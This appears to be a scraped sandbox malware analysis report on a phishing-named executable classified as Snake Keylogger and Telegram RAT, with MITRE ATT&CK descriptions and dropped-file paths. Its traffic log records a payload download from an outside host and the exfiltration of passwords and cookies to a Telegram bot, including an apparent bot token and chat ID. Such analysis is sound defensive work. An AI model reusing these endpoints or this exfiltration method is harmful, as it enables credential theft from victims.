Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE80741h	4_2_3AE80498
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE83709h	4_2_3AE83460
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE802E9h	4_2_3AE80040
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8DEF6h	4_2_3AE8DC28
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8BF06h	4_2_3AE8BC38
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE862D9h	4_2_3AE86030
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE832B1h	4_2_3AE83008
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8CCB6h	4_2_3AE8C9E8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE818A1h	4_2_3AE815F8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then mov esp, ebp	4_2_3AE8B1C0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8ECA6h	4_2_3AE8E9D8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE80FF1h	4_2_3AE80D48
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8E816h	4_2_3AE8E548
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4x nop then jmp 3AE8C826h	4_2_3AE8C558

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:897506%0D%0ADate%20and%20Time:%2022/11/2024%20/%2006:52:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20897506%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0b4a7224cc3aHost: api.telegram.orgContent-Length: 580
Source: global traffic	HTTP traffic detected: POST /bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0b6f4848dbcfHost: api.telegram.orgContent-Length: 7045

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /yak/ZnWGURK2.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: sierrassinfinusadas.com.arCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: sierrassinfinusadas.com.ar
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER 20240986 OA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Includer.Dob

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi\moccasins.ved

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi\sporostrote.dip

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Sipunculoidea.ude

C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
ORDER 20240986 OA.exe

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 6FBB177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre